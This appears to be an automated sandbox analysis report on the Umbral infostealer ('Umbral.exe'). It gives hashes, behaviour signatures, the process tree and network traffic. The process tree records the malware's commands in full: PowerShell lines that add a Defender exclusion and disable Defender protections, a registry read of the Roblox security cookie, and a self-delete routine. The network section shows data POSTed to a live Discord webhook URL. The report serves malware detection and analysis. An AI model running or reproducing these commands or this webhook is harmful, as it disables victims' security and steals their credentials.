Analysis

  • max time kernel
    436s
  • max time network
    438s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/03/2025, 19:56 UTC

General

  • Target

    Umbral.exe

  • Size

    229KB

  • MD5

    fdb6c9cdf5605efda3e45942dad869d4

  • SHA1

    8022afe157b98ad5fd5ead6f17ce35caff40b168

  • SHA256

    bea3c8ebdb0c815aff349ef6ad6f0d92751ae62e4ced9ac2c68582d4e9d1c0af

  • SHA512

    434a552c3dbdf7024f4a557ce9f01f755037aa303da03ed7752c9d1acd6c5fa050deef34983c7f491237a5c7adb3317db279b6e8e0bd3dab8bc0547dc031455e

  • SSDEEP

    6144:lloZM+rIkd8g+EtXHkv/iD4ggxVFzQEbsCzFQMpf7b8e1mAUi:noZ1L+EP8ggxVFzQEbsCzFQMpXz

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Views/modifies file attributes
      PID:1896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1144
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1824
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3540
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:3400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1204
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:3424
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:3840
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3836

    Network

    • flag-us
      DNS
      gstatic.com
      Umbral.exe
      Remote address:
      8.8.8.8:53
      Request
      gstatic.com
      IN A
      Response
      gstatic.com
      IN A
      142.250.187.227
    • flag-gb
      GET
      https://gstatic.com/generate_204
      Umbral.exe
      Remote address:
      142.250.187.227:443
      Request
      GET /generate_204 HTTP/1.1
      Host: gstatic.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 204 No Content
      Content-Length: 0
      Cross-Origin-Resource-Policy: cross-origin
      Date: Tue, 25 Mar 2025 19:57:10 GMT
      Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
    • flag-us
      DNS
      ip-api.com
      Umbral.exe
      Remote address:
      8.8.8.8:53
      Request
      ip-api.com
      IN A
      Response
      ip-api.com
      IN A
      208.95.112.1
    • flag-us
      GET
      http://ip-api.com/json/?fields=225545
      Umbral.exe
      Remote address:
      208.95.112.1:80
      Request
      GET /json/?fields=225545 HTTP/1.1
      Host: ip-api.com
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Tue, 25 Mar 2025 19:57:13 GMT
      Content-Type: application/json; charset=utf-8
      Content-Length: 191
      Access-Control-Allow-Origin: *
      X-Ttl: 60
      X-Rl: 44
    • flag-us
      DNS
      g.bing.com
      Remote address:
      8.8.8.8:53
      Request
      g.bing.com
      IN A
      Response
      g.bing.com
      IN CNAME
      g-bing-com.ax-0001.ax-msedge.net
      g-bing-com.ax-0001.ax-msedge.net
      IN CNAME
      ax-0001.ax-msedge.net
      ax-0001.ax-msedge.net
      IN A
      150.171.27.10
      ax-0001.ax-msedge.net
      IN A
      150.171.28.10
    • flag-us
      GET
      https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=
      Remote address:
      150.171.27.10:443
      Request
      GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid= HTTP/2.0
      host: g.bing.com
      accept-encoding: gzip, deflate
      user-agent: WindowsShellClient/9.0.40929.0 (Windows)
      Response
      HTTP/2.0 204
      cache-control: no-cache, must-revalidate
      pragma: no-cache
      expires: Fri, 01 Jan 1990 00:00:00 GMT
      set-cookie: MUID=2EC3AC9E892B69770BB8B9248890688C; domain=.bing.com; expires=Sun, 19-Apr-2026 19:57:14 GMT; path=/; SameSite=None; Secure; Priority=High;
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      access-control-allow-origin: *
      x-cache: CONFIG_NOCACHE
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: F6F7930FF6A24D34B09844B54ECDADA8 Ref B: LON04EDGE0906 Ref C: 2025-03-25T19:57:14Z
      date: Tue, 25 Mar 2025 19:57:13 GMT
    • flag-us
      GET
      https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=
      Remote address:
      150.171.27.10:443
      Request
      GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid= HTTP/2.0
      host: g.bing.com
      accept-encoding: gzip, deflate
      user-agent: WindowsShellClient/9.0.40929.0 (Windows)
      cookie: MUID=2EC3AC9E892B69770BB8B9248890688C
      Response
      HTTP/2.0 204
      cache-control: no-cache, must-revalidate
      pragma: no-cache
      expires: Fri, 01 Jan 1990 00:00:00 GMT
      set-cookie: MSPTC=CeTrAqeKGmmxlatypEf0wdKzRGnXK8GvHTdqTB2PeEw; domain=.bing.com; expires=Sun, 19-Apr-2026 19:57:14 GMT; path=/; Partitioned; secure; SameSite=None
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      access-control-allow-origin: *
      x-cache: CONFIG_NOCACHE
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: C83C6D4A400446F5ACE94EFB7E7BD42A Ref B: LON04EDGE0906 Ref C: 2025-03-25T19:57:14Z
      date: Tue, 25 Mar 2025 19:57:13 GMT
    • flag-us
      GET
      https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=
      Remote address:
      150.171.27.10:443
      Request
      GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid= HTTP/2.0
      host: g.bing.com
      accept-encoding: gzip, deflate
      user-agent: WindowsShellClient/9.0.40929.0 (Windows)
      cookie: MUID=2EC3AC9E892B69770BB8B9248890688C; MSPTC=CeTrAqeKGmmxlatypEf0wdKzRGnXK8GvHTdqTB2PeEw
      Response
      HTTP/2.0 204
      cache-control: no-cache, must-revalidate
      pragma: no-cache
      expires: Fri, 01 Jan 1990 00:00:00 GMT
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      access-control-allow-origin: *
      x-cache: CONFIG_NOCACHE
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: F23F641F3F0B45ABB9222FE8711F2FAD Ref B: LON04EDGE0906 Ref C: 2025-03-25T19:57:14Z
      date: Tue, 25 Mar 2025 19:57:13 GMT
    • flag-us
      DNS
      discord.com
      Umbral.exe
      Remote address:
      8.8.8.8:53
      Request
      discord.com
      IN A
      Response
      discord.com
      IN A
      162.159.128.233
      discord.com
      IN A
      162.159.138.232
      discord.com
      IN A
      162.159.135.232
      discord.com
      IN A
      162.159.136.232
      discord.com
      IN A
      162.159.137.232
    • flag-us
      POST
      https://discord.com/api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw
      Umbral.exe
      Remote address:
      162.159.128.233:443
      Request
      POST /api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw HTTP/1.1
      Accept: application/json
      User-Agent: Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17
      Content-Type: application/json; charset=utf-8
      Host: discord.com
      Content-Length: 969
      Expect: 100-continue
      Connection: Keep-Alive
      Response
      HTTP/1.1 204 No Content
      Date: Tue, 25 Mar 2025 19:57:15 GMT
      Content-Type: text/html; charset=utf-8
      Connection: keep-alive
      Set-Cookie: __dcfduid=594d31ec09b311f0bdda9a151f89b0bf; Expires=Sun, 24-Mar-2030 19:57:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
      x-ratelimit-limit: 5
      x-ratelimit-remaining: 4
      x-ratelimit-reset: 1742932636
      x-ratelimit-reset-after: 1
      via: 1.1 google
      alt-svc: h3=":443"; ma=86400
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1DAtN9l%2BUx97lzExSownMLquLp4bmtTUX98gRUDjXCzIWOL%2FI5sLpTbjqif0jfO%2BezkELILlH5YDIUfCR3976VvVSe9l1pEtmT%2FpL1pTO%2FmF%2B78rRxPRIaTS5MQK"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      X-Content-Type-Options: nosniff
      Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable"
      Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable
      Set-Cookie: __sdcfduid=594d31ec09b311f0bdda9a151f89b0bfc3a7ad99608f2fcfdcdf3170228a60d59b3f4b3eaadb220d519b7c82e22aacdf; Expires=Sun, 24-Mar-2030 19:57:15 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
      Set-Cookie: __cfruid=7d1571c01534b02cdf8f5299a4d20b1925023cb3-1742932635; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
      Set-Cookie: _cfuvid=Z2E2I5pD29tJWB8tMP6tR6U3zLdmFwrAOIzLqF4dHE4-1742932635096-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 9260f9e6dee67698-LHR
    • flag-us
      POST
      https://discord.com/api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw
      Umbral.exe
      Remote address:
      162.159.128.233:443
      Request
      POST /api/webhooks/1354174093003329598/RcMwCs1pKWptqNfuG-bnbpQYHfvzrhYHkp-JQyQL19RLBiyUZN0PzH5agHDx098fepIw HTTP/1.1
      Accept: application/json
      User-Agent: Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17
      Content-Type: multipart/form-data; boundary="07b6b1a5-a0cd-41cb-89a8-349c39eaf3fc"
      Host: discord.com
      Cookie: __dcfduid=594d31ec09b311f0bdda9a151f89b0bf; __sdcfduid=594d31ec09b311f0bdda9a151f89b0bfc3a7ad99608f2fcfdcdf3170228a60d59b3f4b3eaadb220d519b7c82e22aacdf; __cfruid=7d1571c01534b02cdf8f5299a4d20b1925023cb3-1742932635; _cfuvid=Z2E2I5pD29tJWB8tMP6tR6U3zLdmFwrAOIzLqF4dHE4-1742932635096-0.0.1.1-604800000
      Content-Length: 427403
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 25 Mar 2025 19:57:15 GMT
      Content-Type: application/json
      Transfer-Encoding: chunked
      Connection: keep-alive
      strict-transport-security: max-age=31536000; includeSubDomains; preload
      x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
      x-ratelimit-limit: 5
      x-ratelimit-remaining: 4
      x-ratelimit-reset: 1742932636
      x-ratelimit-reset-after: 1
      vary: Accept-Encoding
      via: 1.1 google
      alt-svc: h3=":443"; ma=86400
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gQAYyUmTPOCq27nBITOVCEUiXtrfzcxwooHoHbfB7l3%2BVlKdKRRuLyCDPNxRibWFMqT231uZoVYOOcHMkvQP%2BrxmXdhS4PRbYdgpYXB1Ky5tpscNU0oU2AeH8qBR"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      X-Content-Type-Options: nosniff
      Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable"
      Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable
      Server: cloudflare
      CF-RAY: 9260f9ea08fc7698-LHR
    • flag-us
      DNS
      tse1.mm.bing.net
      Remote address:
      8.8.8.8:53
      Request
      tse1.mm.bing.net
      IN A
      Response
      tse1.mm.bing.net
      IN CNAME
      mm-mm.bing.net.trafficmanager.net
      mm-mm.bing.net.trafficmanager.net
      IN CNAME
      ax-0001.ax-msedge.net
      ax-0001.ax-msedge.net
      IN A
      150.171.27.10
      ax-0001.ax-msedge.net
      IN A
      150.171.28.10
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239360526659_1DEB5NSYP58G2E8T3&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
      Remote address:
      150.171.27.10:443
      Request
      GET /th?id=OADD2.10239360526659_1DEB5NSYP58G2E8T3&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 843567
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 0E409839069D430AAF4F77EF3E6653F9 Ref B: LON04EDGE0608 Ref C: 2025-03-25T19:57:46Z
      date: Tue, 25 Mar 2025 19:57:46 GMT
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239360433542_1UJC4903W7XNIUU73&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
      Remote address:
      150.171.27.10:443
      Request
      GET /th?id=OADD2.10239360433542_1UJC4903W7XNIUU73&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 688476
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 995BCF98CE5D4B16B75064F7F953ABEF Ref B: LON04EDGE0608 Ref C: 2025-03-25T19:57:46Z
      date: Tue, 25 Mar 2025 19:57:46 GMT
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239339388161_17PDPNJBHCJYF0MEC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
      Remote address:
      150.171.27.10:443
      Request
      GET /th?id=OADD2.10239339388161_17PDPNJBHCJYF0MEC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 586035
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: E99611C5731842BAA0360402F6805071 Ref B: LON04EDGE0608 Ref C: 2025-03-25T19:57:46Z
      date: Tue, 25 Mar 2025 19:57:46 GMT
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239360433543_1F4HJPO10Z3VYH0SK&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
      Remote address:
      150.171.27.10:443
      Request
      GET /th?id=OADD2.10239360433543_1F4HJPO10Z3VYH0SK&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 871109
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 56BB06C694F2440090C98EAE4FD35488 Ref B: LON04EDGE0608 Ref C: 2025-03-25T19:57:46Z
      date: Tue, 25 Mar 2025 19:57:46 GMT
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239360526658_1O3WYEZK6VX7G9BK6&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
      Remote address:
      150.171.27.10:443
      Request
      GET /th?id=OADD2.10239360526658_1O3WYEZK6VX7G9BK6&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 550329
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 0604C250DE064F60A496C03ED14B1329 Ref B: LON04EDGE0608 Ref C: 2025-03-25T19:57:46Z
      date: Tue, 25 Mar 2025 19:57:46 GMT
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239339388162_1MFS3CT3ZOVTF7TJA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
      Remote address:
      150.171.27.10:443
      Request
      GET /th?id=OADD2.10239339388162_1MFS3CT3ZOVTF7TJA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 731444
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 23B7B9F9D598411E94DA65FFE8EB200D Ref B: LON04EDGE0608 Ref C: 2025-03-25T19:57:47Z
      date: Tue, 25 Mar 2025 19:57:47 GMT
    • flag-us
      DNS
      c.pki.goog
      Remote address:
      8.8.8.8:53
      Request
      c.pki.goog
      IN A
      Response
      c.pki.goog
      IN CNAME
      pki-goog.l.google.com
      pki-goog.l.google.com
      IN A
      142.250.179.227
    • flag-gb
      GET
      http://c.pki.goog/r/r1.crl
      Remote address:
      142.250.179.227:80
      Request
      GET /r/r1.crl HTTP/1.1
      Cache-Control: max-age = 3000
      Connection: Keep-Alive
      Accept: */*
      If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT
      User-Agent: Microsoft-CryptoAPI/10.0
      Host: c.pki.goog
      Response
      HTTP/1.1 304 Not Modified
      Date: Tue, 25 Mar 2025 19:48:15 GMT
      Expires: Tue, 25 Mar 2025 20:38:15 GMT
      Age: 599
      Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
      Cache-Control: public, max-age=3000
      Vary: Accept-Encoding
    • 142.250.187.227:443
      https://gstatic.com/generate_204
      tls, http
      Umbral.exe
      724 B
      4.9kB
      8
      8

      HTTP Request

      GET https://gstatic.com/generate_204

      HTTP Response

      204
    • 208.95.112.1:80
      http://ip-api.com/json/?fields=225545
      http
      Umbral.exe
      309 B
      540 B
      5
      4

      HTTP Request

      GET http://ip-api.com/json/?fields=225545

      HTTP Response

      200
    • 150.171.27.10:443
      https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=
      tls, http2
      2.0kB
      9.4kB
      22
      19

      HTTP Request

      GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=44016938df094cccb94fcd0005713cb2&localId=w:21C1CCEE-160B-F796-E0D9-10C0675E4A84&deviceId=6896216935942425&anid=

      HTTP Response

      204

      HTTP Request

